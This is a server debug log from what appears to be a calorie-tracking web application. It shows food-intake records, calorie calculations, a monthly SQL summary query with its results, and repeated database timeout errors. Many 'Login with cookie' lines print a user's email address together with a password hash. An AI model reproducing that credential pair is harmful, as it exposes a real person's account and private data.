    created_at: '2025-12-17T05:11:01.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and calcium from milk. For muscle development, the protein content is beneficial.'
  },
  {
    id: 429,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea,Green tea,Herbal tea,Tea with skim milk',
    created_at: '2025-12-17T07:36:51.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, but can be higher in calories if using full-fat milk. For muscle development, the protein from milk is beneficial.'
  }
]
2025-12-17T13:06:52.397Z server-connect:app Executing action step setvalue
2025-12-17T13:06:52.397Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T13:06:52.397Z server-connect:output var_total: 1244
2025-12-17T13:06:52.397Z server-connect:app Executing action step setvalue
2025-12-17T13:06:52.397Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T13:06:52.397Z server-connect:output var_consumed: 52
2025-12-17T13:06:52.397Z server-connect:app Executing action step setvalue
2025-12-17T13:06:52.397Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T13:06:52.397Z server-connect:output var_deficit: 1156
2025-12-17T13:06:52.397Z server-connect:app Executing action step custom
2025-12-17T13:06:52.397Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T13:06:52.398Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '1244',
    surplus_or_deficit: '1156',
    status_flag: 2
  }
]
2025-12-17T13:06:53.027Z server-connect:app Executing action step identify
2025-12-17T13:06:53.027Z server-connect:app options: { provider: 'security' }
2025-12-17T13:06:53.027Z server-connect:output identity: 1
2025-12-17T13:13:00.236Z server-connect:app Executing action step identify
2025-12-17T13:13:00.236Z server-connect:app options: { provider: 'security' }
2025-12-17T13:13:00.237Z server-connect:output identity: 1
2025-12-17T13:13:01.859Z server-connect:app Executing action step identify
2025-12-17T13:13:01.859Z server-connect:app options: { provider: 'security' }
2025-12-17T13:13:01.859Z server-connect:output identity: 1
2025-12-17T13:17:03.324Z server-connect:app Executing action step identify
2025-12-17T13:17:03.324Z server-connect:app options: { provider: 'security' }
2025-12-17T13:17:03.325Z server-connect:output identity: 1
2025-12-17T13:17:05.098Z server-connect:app Executing action step identify
2025-12-17T13:17:05.098Z server-connect:app options: { provider: 'security' }
2025-12-17T13:17:05.099Z server-connect:output identity: 1
2025-12-17T13:30:22.232Z server-connect:app Executing action step identify
2025-12-17T13:30:22.232Z server-connect:app options: { provider: 'security' }
2025-12-17T13:30:22.232Z server-connect:output identity: 1
2025-12-17T13:30:24.716Z server-connect:app Executing action step identify
2025-12-17T13:30:24.716Z server-connect:app options: { provider: 'security' }
2025-12-17T13:30:24.716Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 13:33:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 13:33:54' as DATETIME)"
}
2025-12-17T13:36:26.231Z server-connect:app Executing action step identify
2025-12-17T13:36:26.231Z server-connect:app options: { provider: 'security' }
2025-12-17T13:36:26.231Z server-connect:output identity: 1
2025-12-17T13:36:28.905Z server-connect:app Executing action step identify
2025-12-17T13:36:28.905Z server-connect:app options: { provider: 'security' }
2025-12-17T13:36:28.906Z server-connect:output identity: 1
2025-12-17T13:42:59.231Z server-connect:app Executing action step identify
2025-12-17T13:42:59.231Z server-connect:app options: { provider: 'security' }
2025-12-17T13:42:59.232Z server-connect:output identity: 1
2025-12-17T13:43:03.189Z server-connect:app Executing action step identify
2025-12-17T13:43:03.189Z server-connect:app options: { provider: 'security' }
2025-12-17T13:43:03.189Z server-connect:output identity: 1
2025-12-17T13:51:51.237Z server-connect:app Executing action step identify
2025-12-17T13:51:51.238Z server-connect:app options: { provider: 'security' }
2025-12-17T13:51:51.238Z server-connect:output identity: 1
2025-12-17T13:51:56.531Z server-connect:app Executing action step identify
2025-12-17T13:51:56.531Z server-connect:app options: { provider: 'security' }
2025-12-17T13:51:56.581Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T13:51:56.584Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T13:51:56.633Z server-connect:output identity: 1
2025-12-17T14:21:51.879Z server-connect:router Serving templateView /
2025-12-17T14:21:51.881Z server-connect:app Executing action step identify
2025-12-17T14:21:51.881Z server-connect:app options: { provider: 'security' }
2025-12-17T14:21:51.881Z server-connect:auth No login cookie found
2025-12-17T14:21:51.881Z server-connect:output identity: false
2025-12-17T14:21:51.881Z server-connect:app Executing action step restrict
2025-12-17T14:21:51.881Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T14:21:51.882Z server-connect:output restrict: undefined
2025-12-17T14:30:59.821Z server-connect:app Executing action step identify
2025-12-17T14:30:59.821Z server-connect:app options: { provider: 'security' }
2025-12-17T14:30:59.878Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T14:30:59.881Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T14:30:59.935Z server-connect:output identity: 1
2025-12-17T14:31:05.091Z server-connect:app Executing action step identify
2025-12-17T14:31:05.091Z server-connect:app options: { provider: 'security' }
2025-12-17T14:31:05.138Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T14:31:05.139Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T14:31:05.186Z server-connect:output identity: 1
2025-12-17T14:53:46.246Z server-connect:app Executing action step identify
2025-12-17T14:53:46.246Z server-connect:app options: { provider: 'security' }
2025-12-17T14:53:46.291Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T14:53:46.293Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T14:53:46.338Z server-connect:output identity: 1
2025-12-17T14:53:48.513Z server-connect:app Executing action step identify
2025-12-17T14:53:48.513Z server-connect:app options: { provider: 'security' }
2025-12-17T14:53:48.556Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T14:53:48.557Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T14:53:48.601Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 15:03:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 15:03:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 15:07:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 15:07:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 15:26:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 15:26:55' as DATETIME)"
}
2025-12-17T15:38:14.097Z server-connect:app Executing action step identify
2025-12-17T15:38:14.098Z server-connect:app options: { provider: 'security' }
2025-12-17T15:38:14.141Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T15:38:14.143Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T15:38:14.187Z server-connect:output identity: 1
2025-12-17T15:38:16.885Z server-connect:app Executing action step identify
2025-12-17T15:38:16.885Z server-connect:app options: { provider: 'security' }
2025-12-17T15:38:16.928Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T15:38:16.929Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T15:38:16.973Z server-connect:output identity: 1
2025-12-17T15:43:25.246Z server-connect:app Executing action step identify
2025-12-17T15:43:25.246Z server-connect:app options: { provider: 'security' }
2025-12-17T15:43:25.289Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T15:43:25.291Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T15:43:25.333Z server-connect:output identity: 1
2025-12-17T15:43:27.170Z server-connect:app Executing action step identify
2025-12-17T15:43:27.170Z server-connect:app options: { provider: 'security' }
2025-12-17T15:43:27.224Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T15:43:27.225Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T15:43:27.268Z server-connect:output identity: 1
2025-12-17T15:43:43.039Z server-connect:app Executing action step identify
2025-12-17T15:43:43.039Z server-connect:app options: { provider: 'security' }
2025-12-17T15:43:43.084Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T15:43:43.085Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T15:43:43.129Z server-connect:output identity: 1
2025-12-17T15:43:45.882Z server-connect:app Executing action step identify
2025-12-17T15:43:45.882Z server-connect:app options: { provider: 'security' }
2025-12-17T15:43:45.925Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T15:43:45.925Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T15:43:45.968Z server-connect:output identity: 1
2025-12-17T15:46:26.103Z server-connect:app Executing action step identify
2025-12-17T15:46:26.103Z server-connect:app options: { provider: 'security' }
2025-12-17T15:46:26.148Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T15:46:26.151Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T15:46:26.195Z server-connect:output identity: 1
2025-12-17T15:46:27.353Z server-connect:app Executing action step identify
2025-12-17T15:46:27.353Z server-connect:app options: { provider: 'security' }
2025-12-17T15:46:27.395Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T15:46:27.396Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T15:46:27.445Z server-connect:output identity: 1
2025-12-17T15:52:22.230Z server-connect:app Executing action step identify
2025-12-17T15:52:22.231Z server-connect:app options: { provider: 'security' }
2025-12-17T15:52:22.274Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T15:52:22.276Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T15:52:22.325Z server-connect:output identity: 1
2025-12-17T15:52:24.280Z server-connect:app Executing action step identify
2025-12-17T15:52:24.280Z server-connect:app options: { provider: 'security' }
2025-12-17T15:52:24.322Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T15:52:24.323Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T15:52:24.366Z server-connect:output identity: 1
2025-12-17T15:57:14.361Z server-connect:app Executing action step identify
2025-12-17T15:57:14.361Z server-connect:app options: { provider: 'security' }
2025-12-17T15:57:14.404Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T15:57:14.406Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T15:57:14.450Z server-connect:output identity: 1
2025-12-17T15:57:15.898Z server-connect:app Executing action step identify
2025-12-17T15:57:15.898Z server-connect:app options: { provider: 'security' }
2025-12-17T15:57:15.940Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T15:57:15.941Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T15:57:15.985Z server-connect:output identity: 1
2025-12-17T16:02:39.869Z server-connect:app Executing action step identify
2025-12-17T16:02:39.869Z server-connect:app options: { provider: 'security' }
2025-12-17T16:02:39.912Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:02:39.914Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:02:39.958Z server-connect:output identity: 1
2025-12-17T16:02:49.792Z server-connect:app Executing action step identify
2025-12-17T16:02:49.792Z server-connect:app options: { provider: 'security' }
2025-12-17T16:02:49.835Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:02:49.836Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:02:49.881Z server-connect:output identity: 1
2025-12-17T16:05:22.073Z server-connect:app Executing action step identify
2025-12-17T16:05:22.074Z server-connect:app options: { provider: 'security' }
2025-12-17T16:05:22.116Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:05:22.118Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:05:22.161Z server-connect:output identity: 1
2025-12-17T16:05:24.597Z server-connect:app Executing action step identify
2025-12-17T16:05:24.597Z server-connect:app options: { provider: 'security' }
2025-12-17T16:05:24.639Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:05:24.640Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:05:24.679Z server-connect:output identity: 1
2025-12-17T16:08:04.674Z server-connect:app Executing action step identify
2025-12-17T16:08:04.674Z server-connect:app options: { provider: 'security' }
2025-12-17T16:08:04.717Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:08:04.719Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:08:04.764Z server-connect:output identity: 1
2025-12-17T16:08:07.871Z server-connect:app Executing action step identify
2025-12-17T16:08:07.871Z server-connect:app options: { provider: 'security' }
2025-12-17T16:08:07.915Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:08:07.916Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:08:07.961Z server-connect:output identity: 1
2025-12-17T16:19:47.423Z server-connect:app Executing action step identify
2025-12-17T16:19:47.423Z server-connect:app options: { provider: 'security' }
2025-12-17T16:19:47.466Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:19:47.468Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:19:47.512Z server-connect:output identity: 1
2025-12-17T16:19:48.388Z server-connect:app Executing action step identify
2025-12-17T16:19:48.388Z server-connect:app options: { provider: 'security' }
2025-12-17T16:19:48.435Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:19:48.436Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:19:48.484Z server-connect:output identity: 1
2025-12-17T16:22:29.705Z server-connect:app Executing action step identify
2025-12-17T16:22:29.705Z server-connect:app options: { provider: 'security' }
2025-12-17T16:22:29.748Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:22:29.750Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:22:29.793Z server-connect:output identity: 1
2025-12-17T16:22:30.482Z server-connect:app Executing action step identify
2025-12-17T16:22:30.482Z server-connect:app options: { provider: 'security' }
2025-12-17T16:22:30.523Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-17T16:22:30.524Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-17T16:22:30.567Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 16:27:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
